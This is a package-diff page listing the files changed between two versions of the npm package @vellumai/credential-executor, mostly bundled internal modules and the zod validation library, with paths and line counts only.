@vellumai/credential-executor 0.4.55 → 0.4.56

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (762) hide show
  1. package/Dockerfile +6 -2
  2. package/node_modules/@vellumai/ces-contracts/bun.lock +29 -0
  3. package/node_modules/@vellumai/ces-contracts/package.json +24 -0
  4. package/node_modules/@vellumai/ces-contracts/src/__tests__/contracts.test.ts +293 -0
  5. package/node_modules/@vellumai/ces-contracts/src/__tests__/grants.test.ts +686 -0
  6. package/node_modules/@vellumai/ces-contracts/src/error.ts +25 -0
  7. package/node_modules/@vellumai/ces-contracts/src/grants.ts +184 -0
  8. package/node_modules/@vellumai/ces-contracts/src/handles.ts +213 -0
  9. package/node_modules/@vellumai/ces-contracts/src/index.ts +147 -0
  10. package/node_modules/@vellumai/ces-contracts/src/rendering.ts +135 -0
  11. package/node_modules/@vellumai/ces-contracts/src/rpc.ts +511 -0
  12. package/node_modules/@vellumai/ces-contracts/tsconfig.json +20 -0
  13. package/node_modules/@vellumai/credential-storage/bun.lock +24 -0
  14. package/node_modules/@vellumai/credential-storage/package.json +17 -0
  15. package/node_modules/@vellumai/credential-storage/src/__tests__/package-boundary.test.ts +151 -0
  16. package/node_modules/@vellumai/credential-storage/src/index.ts +213 -0
  17. package/node_modules/@vellumai/credential-storage/src/oauth-runtime.ts +340 -0
  18. package/node_modules/@vellumai/credential-storage/src/static-credentials.ts +365 -0
  19. package/node_modules/@vellumai/credential-storage/tsconfig.json +20 -0
  20. package/node_modules/@vellumai/egress-proxy/bun.lock +24 -0
  21. package/node_modules/@vellumai/egress-proxy/package.json +17 -0
  22. package/node_modules/@vellumai/egress-proxy/src/__tests__/package-boundary.test.ts +131 -0
  23. package/node_modules/@vellumai/egress-proxy/src/index.ts +54 -0
  24. package/node_modules/@vellumai/egress-proxy/src/session-core.ts +466 -0
  25. package/node_modules/@vellumai/egress-proxy/src/types.ts +227 -0
  26. package/node_modules/@vellumai/egress-proxy/tsconfig.json +20 -0
  27. package/node_modules/zod/LICENSE +21 -0
  28. package/node_modules/zod/README.md +208 -0
  29. package/node_modules/zod/index.cjs +33 -0
  30. package/node_modules/zod/index.d.cts +4 -0
  31. package/node_modules/zod/index.d.ts +4 -0
  32. package/node_modules/zod/index.js +4 -0
  33. package/node_modules/zod/locales/index.cjs +17 -0
  34. package/node_modules/zod/locales/index.d.cts +1 -0
  35. package/node_modules/zod/locales/index.d.ts +1 -0
  36. package/node_modules/zod/locales/index.js +1 -0
  37. package/node_modules/zod/locales/package.json +6 -0
  38. package/node_modules/zod/mini/index.cjs +32 -0
  39. package/node_modules/zod/mini/index.d.cts +3 -0
  40. package/node_modules/zod/mini/index.d.ts +3 -0
  41. package/node_modules/zod/mini/index.js +3 -0
  42. package/node_modules/zod/mini/package.json +6 -0
  43. package/node_modules/zod/package.json +135 -0
  44. package/node_modules/zod/src/index.ts +4 -0
  45. package/node_modules/zod/src/locales/index.ts +1 -0
  46. package/node_modules/zod/src/mini/index.ts +3 -0
  47. package/node_modules/zod/src/v3/ZodError.ts +330 -0
  48. package/node_modules/zod/src/v3/benchmarks/datetime.ts +58 -0
  49. package/node_modules/zod/src/v3/benchmarks/discriminatedUnion.ts +80 -0
  50. package/node_modules/zod/src/v3/benchmarks/index.ts +59 -0
  51. package/node_modules/zod/src/v3/benchmarks/ipv4.ts +57 -0
  52. package/node_modules/zod/src/v3/benchmarks/object.ts +69 -0
  53. package/node_modules/zod/src/v3/benchmarks/primitives.ts +162 -0
  54. package/node_modules/zod/src/v3/benchmarks/realworld.ts +63 -0
  55. package/node_modules/zod/src/v3/benchmarks/string.ts +55 -0
  56. package/node_modules/zod/src/v3/benchmarks/union.ts +80 -0
  57. package/node_modules/zod/src/v3/errors.ts +13 -0
  58. package/node_modules/zod/src/v3/external.ts +6 -0
  59. package/node_modules/zod/src/v3/helpers/enumUtil.ts +17 -0
  60. package/node_modules/zod/src/v3/helpers/errorUtil.ts +8 -0
  61. package/node_modules/zod/src/v3/helpers/parseUtil.ts +176 -0
  62. package/node_modules/zod/src/v3/helpers/partialUtil.ts +34 -0
  63. package/node_modules/zod/src/v3/helpers/typeAliases.ts +2 -0
  64. package/node_modules/zod/src/v3/helpers/util.ts +224 -0
  65. package/node_modules/zod/src/v3/index.ts +4 -0
  66. package/node_modules/zod/src/v3/locales/en.ts +124 -0
  67. package/node_modules/zod/src/v3/standard-schema.ts +113 -0
  68. package/node_modules/zod/src/v3/tests/Mocker.ts +54 -0
  69. package/node_modules/zod/src/v3/tests/all-errors.test.ts +157 -0
  70. package/node_modules/zod/src/v3/tests/anyunknown.test.ts +28 -0
  71. package/node_modules/zod/src/v3/tests/array.test.ts +71 -0
  72. package/node_modules/zod/src/v3/tests/async-parsing.test.ts +388 -0
  73. package/node_modules/zod/src/v3/tests/async-refinements.test.ts +46 -0
  74. package/node_modules/zod/src/v3/tests/base.test.ts +29 -0
  75. package/node_modules/zod/src/v3/tests/bigint.test.ts +55 -0
  76. package/node_modules/zod/src/v3/tests/branded.test.ts +53 -0
  77. package/node_modules/zod/src/v3/tests/catch.test.ts +220 -0
  78. package/node_modules/zod/src/v3/tests/coerce.test.ts +133 -0
  79. package/node_modules/zod/src/v3/tests/complex.test.ts +70 -0
  80. package/node_modules/zod/src/v3/tests/custom.test.ts +31 -0
  81. package/node_modules/zod/src/v3/tests/date.test.ts +32 -0
  82. package/node_modules/zod/src/v3/tests/deepmasking.test.ts +186 -0
  83. package/node_modules/zod/src/v3/tests/default.test.ts +112 -0
  84. package/node_modules/zod/src/v3/tests/description.test.ts +33 -0
  85. package/node_modules/zod/src/v3/tests/discriminated-unions.test.ts +315 -0
  86. package/node_modules/zod/src/v3/tests/enum.test.ts +80 -0
  87. package/node_modules/zod/src/v3/tests/error.test.ts +551 -0
  88. package/node_modules/zod/src/v3/tests/firstparty.test.ts +87 -0
  89. package/node_modules/zod/src/v3/tests/firstpartyschematypes.test.ts +21 -0
  90. package/node_modules/zod/src/v3/tests/function.test.ts +261 -0
  91. package/node_modules/zod/src/v3/tests/generics.test.ts +48 -0
  92. package/node_modules/zod/src/v3/tests/instanceof.test.ts +37 -0
  93. package/node_modules/zod/src/v3/tests/intersection.test.ts +110 -0
  94. package/node_modules/zod/src/v3/tests/language-server.source.ts +76 -0
  95. package/node_modules/zod/src/v3/tests/language-server.test.ts +207 -0
  96. package/node_modules/zod/src/v3/tests/literal.test.ts +36 -0
  97. package/node_modules/zod/src/v3/tests/map.test.ts +110 -0
  98. package/node_modules/zod/src/v3/tests/masking.test.ts +4 -0
  99. package/node_modules/zod/src/v3/tests/mocker.test.ts +19 -0
  100. package/node_modules/zod/src/v3/tests/nan.test.ts +24 -0
  101. package/node_modules/zod/src/v3/tests/nativeEnum.test.ts +87 -0
  102. package/node_modules/zod/src/v3/tests/nullable.test.ts +42 -0
  103. package/node_modules/zod/src/v3/tests/number.test.ts +176 -0
  104. package/node_modules/zod/src/v3/tests/object-augmentation.test.ts +29 -0
  105. package/node_modules/zod/src/v3/tests/object-in-es5-env.test.ts +29 -0
  106. package/node_modules/zod/src/v3/tests/object.test.ts +434 -0
  107. package/node_modules/zod/src/v3/tests/optional.test.ts +42 -0
  108. package/node_modules/zod/src/v3/tests/parseUtil.test.ts +23 -0
  109. package/node_modules/zod/src/v3/tests/parser.test.ts +41 -0
  110. package/node_modules/zod/src/v3/tests/partials.test.ts +243 -0
  111. package/node_modules/zod/src/v3/tests/pickomit.test.ts +111 -0
  112. package/node_modules/zod/src/v3/tests/pipeline.test.ts +29 -0
  113. package/node_modules/zod/src/v3/tests/preprocess.test.ts +186 -0
  114. package/node_modules/zod/src/v3/tests/primitive.test.ts +440 -0
  115. package/node_modules/zod/src/v3/tests/promise.test.ts +90 -0
  116. package/node_modules/zod/src/v3/tests/readonly.test.ts +194 -0
  117. package/node_modules/zod/src/v3/tests/record.test.ts +171 -0
  118. package/node_modules/zod/src/v3/tests/recursive.test.ts +197 -0
  119. package/node_modules/zod/src/v3/tests/refine.test.ts +313 -0
  120. package/node_modules/zod/src/v3/tests/safeparse.test.ts +27 -0
  121. package/node_modules/zod/src/v3/tests/set.test.ts +142 -0
  122. package/node_modules/zod/src/v3/tests/standard-schema.test.ts +83 -0
  123. package/node_modules/zod/src/v3/tests/string.test.ts +916 -0
  124. package/node_modules/zod/src/v3/tests/transformer.test.ts +233 -0
  125. package/node_modules/zod/src/v3/tests/tuple.test.ts +90 -0
  126. package/node_modules/zod/src/v3/tests/unions.test.ts +57 -0
  127. package/node_modules/zod/src/v3/tests/validations.test.ts +133 -0
  128. package/node_modules/zod/src/v3/tests/void.test.ts +15 -0
  129. package/node_modules/zod/src/v3/types.ts +5138 -0
  130. package/node_modules/zod/src/v4/classic/checks.ts +32 -0
  131. package/node_modules/zod/src/v4/classic/coerce.ts +27 -0
  132. package/node_modules/zod/src/v4/classic/compat.ts +70 -0
  133. package/node_modules/zod/src/v4/classic/errors.ts +82 -0
  134. package/node_modules/zod/src/v4/classic/external.ts +51 -0
  135. package/node_modules/zod/src/v4/classic/from-json-schema.ts +643 -0
  136. package/node_modules/zod/src/v4/classic/index.ts +5 -0
  137. package/node_modules/zod/src/v4/classic/iso.ts +90 -0
  138. package/node_modules/zod/src/v4/classic/parse.ts +82 -0
  139. package/node_modules/zod/src/v4/classic/schemas.ts +2409 -0
  140. package/node_modules/zod/src/v4/classic/tests/anyunknown.test.ts +26 -0
  141. package/node_modules/zod/src/v4/classic/tests/apply.test.ts +59 -0
  142. package/node_modules/zod/src/v4/classic/tests/array.test.ts +264 -0
  143. package/node_modules/zod/src/v4/classic/tests/assignability.test.ts +210 -0
  144. package/node_modules/zod/src/v4/classic/tests/async-parsing.test.ts +381 -0
  145. package/node_modules/zod/src/v4/classic/tests/async-refinements.test.ts +68 -0
  146. package/node_modules/zod/src/v4/classic/tests/base.test.ts +7 -0
  147. package/node_modules/zod/src/v4/classic/tests/bigint.test.ts +54 -0
  148. package/node_modules/zod/src/v4/classic/tests/brand.test.ts +106 -0
  149. package/node_modules/zod/src/v4/classic/tests/catch.test.ts +276 -0
  150. package/node_modules/zod/src/v4/classic/tests/coalesce.test.ts +20 -0
  151. package/node_modules/zod/src/v4/classic/tests/codec-examples.test.ts +573 -0
  152. package/node_modules/zod/src/v4/classic/tests/codec.test.ts +562 -0
  153. package/node_modules/zod/src/v4/classic/tests/coerce.test.ts +160 -0
  154. package/node_modules/zod/src/v4/classic/tests/continuability.test.ts +374 -0
  155. package/node_modules/zod/src/v4/classic/tests/custom.test.ts +40 -0
  156. package/node_modules/zod/src/v4/classic/tests/date.test.ts +62 -0
  157. package/node_modules/zod/src/v4/classic/tests/datetime.test.ts +302 -0
  158. package/node_modules/zod/src/v4/classic/tests/default.test.ts +365 -0
  159. package/node_modules/zod/src/v4/classic/tests/describe-meta-checks.test.ts +27 -0
  160. package/node_modules/zod/src/v4/classic/tests/description.test.ts +32 -0
  161. package/node_modules/zod/src/v4/classic/tests/discriminated-unions.test.ts +661 -0
  162. package/node_modules/zod/src/v4/classic/tests/enum.test.ts +285 -0
  163. package/node_modules/zod/src/v4/classic/tests/error-utils.test.ts +595 -0
  164. package/node_modules/zod/src/v4/classic/tests/error.test.ts +711 -0
  165. package/node_modules/zod/src/v4/classic/tests/file.test.ts +96 -0
  166. package/node_modules/zod/src/v4/classic/tests/firstparty.test.ts +179 -0
  167. package/node_modules/zod/src/v4/classic/tests/fix-json-issue.test.ts +26 -0
  168. package/node_modules/zod/src/v4/classic/tests/from-json-schema.test.ts +734 -0
  169. package/node_modules/zod/src/v4/classic/tests/function.test.ts +360 -0
  170. package/node_modules/zod/src/v4/classic/tests/generics.test.ts +72 -0
  171. package/node_modules/zod/src/v4/classic/tests/hash.test.ts +68 -0
  172. package/node_modules/zod/src/v4/classic/tests/index.test.ts +939 -0
  173. package/node_modules/zod/src/v4/classic/tests/instanceof.test.ts +60 -0
  174. package/node_modules/zod/src/v4/classic/tests/intersection.test.ts +198 -0
  175. package/node_modules/zod/src/v4/classic/tests/json.test.ts +109 -0
  176. package/node_modules/zod/src/v4/classic/tests/lazy.test.ts +227 -0
  177. package/node_modules/zod/src/v4/classic/tests/literal.test.ts +117 -0
  178. package/node_modules/zod/src/v4/classic/tests/map.test.ts +330 -0
  179. package/node_modules/zod/src/v4/classic/tests/nan.test.ts +21 -0
  180. package/node_modules/zod/src/v4/classic/tests/nested-refine.test.ts +168 -0
  181. package/node_modules/zod/src/v4/classic/tests/nonoptional.test.ts +101 -0
  182. package/node_modules/zod/src/v4/classic/tests/nullable.test.ts +22 -0
  183. package/node_modules/zod/src/v4/classic/tests/number.test.ts +270 -0
  184. package/node_modules/zod/src/v4/classic/tests/object.test.ts +640 -0
  185. package/node_modules/zod/src/v4/classic/tests/optional.test.ts +223 -0
  186. package/node_modules/zod/src/v4/classic/tests/partial.test.ts +427 -0
  187. package/node_modules/zod/src/v4/classic/tests/pickomit.test.ts +211 -0
  188. package/node_modules/zod/src/v4/classic/tests/pipe.test.ts +101 -0
  189. package/node_modules/zod/src/v4/classic/tests/prefault.test.ts +74 -0
  190. package/node_modules/zod/src/v4/classic/tests/preprocess.test.ts +282 -0
  191. package/node_modules/zod/src/v4/classic/tests/primitive.test.ts +175 -0
  192. package/node_modules/zod/src/v4/classic/tests/promise.test.ts +81 -0
  193. package/node_modules/zod/src/v4/classic/tests/prototypes.test.ts +23 -0
  194. package/node_modules/zod/src/v4/classic/tests/readonly.test.ts +252 -0
  195. package/node_modules/zod/src/v4/classic/tests/record.test.ts +632 -0
  196. package/node_modules/zod/src/v4/classic/tests/recursive-types.test.ts +582 -0
  197. package/node_modules/zod/src/v4/classic/tests/refine.test.ts +570 -0
  198. package/node_modules/zod/src/v4/classic/tests/registries.test.ts +243 -0
  199. package/node_modules/zod/src/v4/classic/tests/set.test.ts +181 -0
  200. package/node_modules/zod/src/v4/classic/tests/standard-schema.test.ts +134 -0
  201. package/node_modules/zod/src/v4/classic/tests/string-formats.test.ts +125 -0
  202. package/node_modules/zod/src/v4/classic/tests/string.test.ts +1175 -0
  203. package/node_modules/zod/src/v4/classic/tests/stringbool.test.ts +106 -0
  204. package/node_modules/zod/src/v4/classic/tests/template-literal.test.ts +771 -0
  205. package/node_modules/zod/src/v4/classic/tests/to-json-schema-methods.test.ts +438 -0
  206. package/node_modules/zod/src/v4/classic/tests/to-json-schema.test.ts +2990 -0
  207. package/node_modules/zod/src/v4/classic/tests/transform.test.ts +361 -0
  208. package/node_modules/zod/src/v4/classic/tests/tuple.test.ts +183 -0
  209. package/node_modules/zod/src/v4/classic/tests/union.test.ts +219 -0
  210. package/node_modules/zod/src/v4/classic/tests/url.test.ts +13 -0
  211. package/node_modules/zod/src/v4/classic/tests/validations.test.ts +283 -0
  212. package/node_modules/zod/src/v4/classic/tests/void.test.ts +12 -0
  213. package/node_modules/zod/src/v4/core/api.ts +1798 -0
  214. package/node_modules/zod/src/v4/core/checks.ts +1293 -0
  215. package/node_modules/zod/src/v4/core/config.ts +15 -0
  216. package/node_modules/zod/src/v4/core/core.ts +138 -0
  217. package/node_modules/zod/src/v4/core/doc.ts +44 -0
  218. package/node_modules/zod/src/v4/core/errors.ts +448 -0
  219. package/node_modules/zod/src/v4/core/index.ts +16 -0
  220. package/node_modules/zod/src/v4/core/json-schema-generator.ts +126 -0
  221. package/node_modules/zod/src/v4/core/json-schema-processors.ts +667 -0
  222. package/node_modules/zod/src/v4/core/json-schema.ts +147 -0
  223. package/node_modules/zod/src/v4/core/parse.ts +195 -0
  224. package/node_modules/zod/src/v4/core/regexes.ts +183 -0
  225. package/node_modules/zod/src/v4/core/registries.ts +105 -0
  226. package/node_modules/zod/src/v4/core/schemas.ts +4538 -0
  227. package/node_modules/zod/src/v4/core/standard-schema.ts +159 -0
  228. package/node_modules/zod/src/v4/core/tests/extend.test.ts +59 -0
  229. package/node_modules/zod/src/v4/core/tests/index.test.ts +46 -0
  230. package/node_modules/zod/src/v4/core/tests/locales/be.test.ts +124 -0
  231. package/node_modules/zod/src/v4/core/tests/locales/en.test.ts +22 -0
  232. package/node_modules/zod/src/v4/core/tests/locales/es.test.ts +181 -0
  233. package/node_modules/zod/src/v4/core/tests/locales/he.test.ts +379 -0
  234. package/node_modules/zod/src/v4/core/tests/locales/nl.test.ts +46 -0
  235. package/node_modules/zod/src/v4/core/tests/locales/ru.test.ts +128 -0
  236. package/node_modules/zod/src/v4/core/tests/locales/tr.test.ts +69 -0
  237. package/node_modules/zod/src/v4/core/tests/locales/uz.test.ts +83 -0
  238. package/node_modules/zod/src/v4/core/tests/record-constructor.test.ts +67 -0
  239. package/node_modules/zod/src/v4/core/tests/recursive-tuples.test.ts +45 -0
  240. package/node_modules/zod/src/v4/core/to-json-schema.ts +613 -0
  241. package/node_modules/zod/src/v4/core/util.ts +966 -0
  242. package/node_modules/zod/src/v4/core/versions.ts +5 -0
  243. package/node_modules/zod/src/v4/core/zsf.ts +323 -0
  244. package/node_modules/zod/src/v4/index.ts +4 -0
  245. package/node_modules/zod/src/v4/locales/ar.ts +115 -0
  246. package/node_modules/zod/src/v4/locales/az.ts +111 -0
  247. package/node_modules/zod/src/v4/locales/be.ts +176 -0
  248. package/node_modules/zod/src/v4/locales/bg.ts +128 -0
  249. package/node_modules/zod/src/v4/locales/ca.ts +116 -0
  250. package/node_modules/zod/src/v4/locales/cs.ts +118 -0
  251. package/node_modules/zod/src/v4/locales/da.ts +123 -0
  252. package/node_modules/zod/src/v4/locales/de.ts +116 -0
  253. package/node_modules/zod/src/v4/locales/en.ts +119 -0
  254. package/node_modules/zod/src/v4/locales/eo.ts +118 -0
  255. package/node_modules/zod/src/v4/locales/es.ts +141 -0
  256. package/node_modules/zod/src/v4/locales/fa.ts +126 -0
  257. package/node_modules/zod/src/v4/locales/fi.ts +121 -0
  258. package/node_modules/zod/src/v4/locales/fr-CA.ts +116 -0
  259. package/node_modules/zod/src/v4/locales/fr.ts +116 -0
  260. package/node_modules/zod/src/v4/locales/he.ts +246 -0
  261. package/node_modules/zod/src/v4/locales/hu.ts +117 -0
  262. package/node_modules/zod/src/v4/locales/hy.ts +164 -0
  263. package/node_modules/zod/src/v4/locales/id.ts +115 -0
  264. package/node_modules/zod/src/v4/locales/index.ts +49 -0
  265. package/node_modules/zod/src/v4/locales/is.ts +119 -0
  266. package/node_modules/zod/src/v4/locales/it.ts +116 -0
  267. package/node_modules/zod/src/v4/locales/ja.ts +114 -0
  268. package/node_modules/zod/src/v4/locales/ka.ts +123 -0
  269. package/node_modules/zod/src/v4/locales/kh.ts +7 -0
  270. package/node_modules/zod/src/v4/locales/km.ts +119 -0
  271. package/node_modules/zod/src/v4/locales/ko.ts +121 -0
  272. package/node_modules/zod/src/v4/locales/lt.ts +239 -0
  273. package/node_modules/zod/src/v4/locales/mk.ts +118 -0
  274. package/node_modules/zod/src/v4/locales/ms.ts +115 -0
  275. package/node_modules/zod/src/v4/locales/nl.ts +121 -0
  276. package/node_modules/zod/src/v4/locales/no.ts +116 -0
  277. package/node_modules/zod/src/v4/locales/ota.ts +117 -0
  278. package/node_modules/zod/src/v4/locales/pl.ts +118 -0
  279. package/node_modules/zod/src/v4/locales/ps.ts +126 -0
  280. package/node_modules/zod/src/v4/locales/pt.ts +116 -0
  281. package/node_modules/zod/src/v4/locales/ru.ts +176 -0
  282. package/node_modules/zod/src/v4/locales/sl.ts +118 -0
  283. package/node_modules/zod/src/v4/locales/sv.ts +119 -0
  284. package/node_modules/zod/src/v4/locales/ta.ts +118 -0
  285. package/node_modules/zod/src/v4/locales/th.ts +119 -0
  286. package/node_modules/zod/src/v4/locales/tr.ts +111 -0
  287. package/node_modules/zod/src/v4/locales/ua.ts +7 -0
  288. package/node_modules/zod/src/v4/locales/uk.ts +117 -0
  289. package/node_modules/zod/src/v4/locales/ur.ts +119 -0
  290. package/node_modules/zod/src/v4/locales/uz.ts +116 -0
  291. package/node_modules/zod/src/v4/locales/vi.ts +117 -0
  292. package/node_modules/zod/src/v4/locales/yo.ts +124 -0
  293. package/node_modules/zod/src/v4/locales/zh-CN.ts +116 -0
  294. package/node_modules/zod/src/v4/locales/zh-TW.ts +115 -0
  295. package/node_modules/zod/src/v4/mini/checks.ts +32 -0
  296. package/node_modules/zod/src/v4/mini/coerce.ts +27 -0
  297. package/node_modules/zod/src/v4/mini/external.ts +40 -0
  298. package/node_modules/zod/src/v4/mini/index.ts +3 -0
  299. package/node_modules/zod/src/v4/mini/iso.ts +66 -0
  300. package/node_modules/zod/src/v4/mini/parse.ts +14 -0
  301. package/node_modules/zod/src/v4/mini/schemas.ts +1916 -0
  302. package/node_modules/zod/src/v4/mini/tests/apply.test.ts +24 -0
  303. package/node_modules/zod/src/v4/mini/tests/assignability.test.ts +129 -0
  304. package/node_modules/zod/src/v4/mini/tests/brand.test.ts +94 -0
  305. package/node_modules/zod/src/v4/mini/tests/checks.test.ts +144 -0
  306. package/node_modules/zod/src/v4/mini/tests/codec.test.ts +529 -0
  307. package/node_modules/zod/src/v4/mini/tests/computed.test.ts +36 -0
  308. package/node_modules/zod/src/v4/mini/tests/error.test.ts +22 -0
  309. package/node_modules/zod/src/v4/mini/tests/functions.test.ts +5 -0
  310. package/node_modules/zod/src/v4/mini/tests/index.test.ts +963 -0
  311. package/node_modules/zod/src/v4/mini/tests/number.test.ts +95 -0
  312. package/node_modules/zod/src/v4/mini/tests/object.test.ts +227 -0
  313. package/node_modules/zod/src/v4/mini/tests/prototypes.test.ts +43 -0
  314. package/node_modules/zod/src/v4/mini/tests/recursive-types.test.ts +275 -0
  315. package/node_modules/zod/src/v4/mini/tests/standard-schema.test.ts +50 -0
  316. package/node_modules/zod/src/v4/mini/tests/string.test.ts +347 -0
  317. package/node_modules/zod/src/v4-mini/index.ts +3 -0
  318. package/node_modules/zod/v3/ZodError.cjs +138 -0
  319. package/node_modules/zod/v3/ZodError.d.cts +164 -0
  320. package/node_modules/zod/v3/ZodError.d.ts +164 -0
  321. package/node_modules/zod/v3/ZodError.js +133 -0
  322. package/node_modules/zod/v3/errors.cjs +17 -0
  323. package/node_modules/zod/v3/errors.d.cts +5 -0
  324. package/node_modules/zod/v3/errors.d.ts +5 -0
  325. package/node_modules/zod/v3/errors.js +9 -0
  326. package/node_modules/zod/v3/external.cjs +22 -0
  327. package/node_modules/zod/v3/external.d.cts +6 -0
  328. package/node_modules/zod/v3/external.d.ts +6 -0
  329. package/node_modules/zod/v3/external.js +6 -0
  330. package/node_modules/zod/v3/helpers/enumUtil.cjs +2 -0
  331. package/node_modules/zod/v3/helpers/enumUtil.d.cts +8 -0
  332. package/node_modules/zod/v3/helpers/enumUtil.d.ts +8 -0
  333. package/node_modules/zod/v3/helpers/enumUtil.js +1 -0
  334. package/node_modules/zod/v3/helpers/errorUtil.cjs +9 -0
  335. package/node_modules/zod/v3/helpers/errorUtil.d.cts +9 -0
  336. package/node_modules/zod/v3/helpers/errorUtil.d.ts +9 -0
  337. package/node_modules/zod/v3/helpers/errorUtil.js +6 -0
  338. package/node_modules/zod/v3/helpers/parseUtil.cjs +124 -0
  339. package/node_modules/zod/v3/helpers/parseUtil.d.cts +78 -0
  340. package/node_modules/zod/v3/helpers/parseUtil.d.ts +78 -0
  341. package/node_modules/zod/v3/helpers/parseUtil.js +109 -0
  342. package/node_modules/zod/v3/helpers/partialUtil.cjs +2 -0
  343. package/node_modules/zod/v3/helpers/partialUtil.d.cts +8 -0
  344. package/node_modules/zod/v3/helpers/partialUtil.d.ts +8 -0
  345. package/node_modules/zod/v3/helpers/partialUtil.js +1 -0
  346. package/node_modules/zod/v3/helpers/typeAliases.cjs +2 -0
  347. package/node_modules/zod/v3/helpers/typeAliases.d.cts +2 -0
  348. package/node_modules/zod/v3/helpers/typeAliases.d.ts +2 -0
  349. package/node_modules/zod/v3/helpers/typeAliases.js +1 -0
  350. package/node_modules/zod/v3/helpers/util.cjs +137 -0
  351. package/node_modules/zod/v3/helpers/util.d.cts +85 -0
  352. package/node_modules/zod/v3/helpers/util.d.ts +85 -0
  353. package/node_modules/zod/v3/helpers/util.js +133 -0
  354. package/node_modules/zod/v3/index.cjs +33 -0
  355. package/node_modules/zod/v3/index.d.cts +4 -0
  356. package/node_modules/zod/v3/index.d.ts +4 -0
  357. package/node_modules/zod/v3/index.js +4 -0
  358. package/node_modules/zod/v3/locales/en.cjs +112 -0
  359. package/node_modules/zod/v3/locales/en.d.cts +3 -0
  360. package/node_modules/zod/v3/locales/en.d.ts +3 -0
  361. package/node_modules/zod/v3/locales/en.js +109 -0
  362. package/node_modules/zod/v3/package.json +6 -0
  363. package/node_modules/zod/v3/standard-schema.cjs +2 -0
  364. package/node_modules/zod/v3/standard-schema.d.cts +102 -0
  365. package/node_modules/zod/v3/standard-schema.d.ts +102 -0
  366. package/node_modules/zod/v3/standard-schema.js +1 -0
  367. package/node_modules/zod/v3/types.cjs +3777 -0
  368. package/node_modules/zod/v3/types.d.cts +1034 -0
  369. package/node_modules/zod/v3/types.d.ts +1034 -0
  370. package/node_modules/zod/v3/types.js +3695 -0
  371. package/node_modules/zod/v4/classic/checks.cjs +33 -0
  372. package/node_modules/zod/v4/classic/checks.d.cts +1 -0
  373. package/node_modules/zod/v4/classic/checks.d.ts +1 -0
  374. package/node_modules/zod/v4/classic/checks.js +1 -0
  375. package/node_modules/zod/v4/classic/coerce.cjs +47 -0
  376. package/node_modules/zod/v4/classic/coerce.d.cts +17 -0
  377. package/node_modules/zod/v4/classic/coerce.d.ts +17 -0
  378. package/node_modules/zod/v4/classic/coerce.js +17 -0
  379. package/node_modules/zod/v4/classic/compat.cjs +61 -0
  380. package/node_modules/zod/v4/classic/compat.d.cts +50 -0
  381. package/node_modules/zod/v4/classic/compat.d.ts +50 -0
  382. package/node_modules/zod/v4/classic/compat.js +31 -0
  383. package/node_modules/zod/v4/classic/errors.cjs +74 -0
  384. package/node_modules/zod/v4/classic/errors.d.cts +30 -0
  385. package/node_modules/zod/v4/classic/errors.d.ts +30 -0
  386. package/node_modules/zod/v4/classic/errors.js +48 -0
  387. package/node_modules/zod/v4/classic/external.cjs +73 -0
  388. package/node_modules/zod/v4/classic/external.d.cts +15 -0
  389. package/node_modules/zod/v4/classic/external.d.ts +15 -0
  390. package/node_modules/zod/v4/classic/external.js +20 -0
  391. package/node_modules/zod/v4/classic/from-json-schema.cjs +610 -0
  392. package/node_modules/zod/v4/classic/from-json-schema.d.cts +12 -0
  393. package/node_modules/zod/v4/classic/from-json-schema.d.ts +12 -0
  394. package/node_modules/zod/v4/classic/from-json-schema.js +584 -0
  395. package/node_modules/zod/v4/classic/index.cjs +33 -0
  396. package/node_modules/zod/v4/classic/index.d.cts +4 -0
  397. package/node_modules/zod/v4/classic/index.d.ts +4 -0
  398. package/node_modules/zod/v4/classic/index.js +4 -0
  399. package/node_modules/zod/v4/classic/iso.cjs +60 -0
  400. package/node_modules/zod/v4/classic/iso.d.cts +22 -0
  401. package/node_modules/zod/v4/classic/iso.d.ts +22 -0
  402. package/node_modules/zod/v4/classic/iso.js +30 -0
  403. package/node_modules/zod/v4/classic/package.json +6 -0
  404. package/node_modules/zod/v4/classic/parse.cjs +41 -0
  405. package/node_modules/zod/v4/classic/parse.d.cts +31 -0
  406. package/node_modules/zod/v4/classic/parse.d.ts +31 -0
  407. package/node_modules/zod/v4/classic/parse.js +15 -0
  408. package/node_modules/zod/v4/classic/schemas.cjs +1272 -0
  409. package/node_modules/zod/v4/classic/schemas.d.cts +739 -0
  410. package/node_modules/zod/v4/classic/schemas.d.ts +739 -0
  411. package/node_modules/zod/v4/classic/schemas.js +1157 -0
  412. package/node_modules/zod/v4/core/api.cjs +1222 -0
  413. package/node_modules/zod/v4/core/api.d.cts +304 -0
  414. package/node_modules/zod/v4/core/api.d.ts +304 -0
  415. package/node_modules/zod/v4/core/api.js +1082 -0
  416. package/node_modules/zod/v4/core/checks.cjs +601 -0
  417. package/node_modules/zod/v4/core/checks.d.cts +278 -0
  418. package/node_modules/zod/v4/core/checks.d.ts +278 -0
  419. package/node_modules/zod/v4/core/checks.js +575 -0
  420. package/node_modules/zod/v4/core/core.cjs +83 -0
  421. package/node_modules/zod/v4/core/core.d.cts +70 -0
  422. package/node_modules/zod/v4/core/core.d.ts +70 -0
  423. package/node_modules/zod/v4/core/core.js +76 -0
  424. package/node_modules/zod/v4/core/doc.cjs +39 -0
  425. package/node_modules/zod/v4/core/doc.d.cts +14 -0
  426. package/node_modules/zod/v4/core/doc.d.ts +14 -0
  427. package/node_modules/zod/v4/core/doc.js +35 -0
  428. package/node_modules/zod/v4/core/errors.cjs +213 -0
  429. package/node_modules/zod/v4/core/errors.d.cts +220 -0
  430. package/node_modules/zod/v4/core/errors.d.ts +220 -0
  431. package/node_modules/zod/v4/core/errors.js +182 -0
  432. package/node_modules/zod/v4/core/index.cjs +47 -0
  433. package/node_modules/zod/v4/core/index.d.cts +16 -0
  434. package/node_modules/zod/v4/core/index.d.ts +16 -0
  435. package/node_modules/zod/v4/core/index.js +16 -0
  436. package/node_modules/zod/v4/core/json-schema-generator.cjs +99 -0
  437. package/node_modules/zod/v4/core/json-schema-generator.d.cts +65 -0
  438. package/node_modules/zod/v4/core/json-schema-generator.d.ts +65 -0
  439. package/node_modules/zod/v4/core/json-schema-generator.js +95 -0
  440. package/node_modules/zod/v4/core/json-schema-processors.cjs +648 -0
  441. package/node_modules/zod/v4/core/json-schema-processors.d.cts +49 -0
  442. package/node_modules/zod/v4/core/json-schema-processors.d.ts +49 -0
  443. package/node_modules/zod/v4/core/json-schema-processors.js +605 -0
  444. package/node_modules/zod/v4/core/json-schema.cjs +2 -0
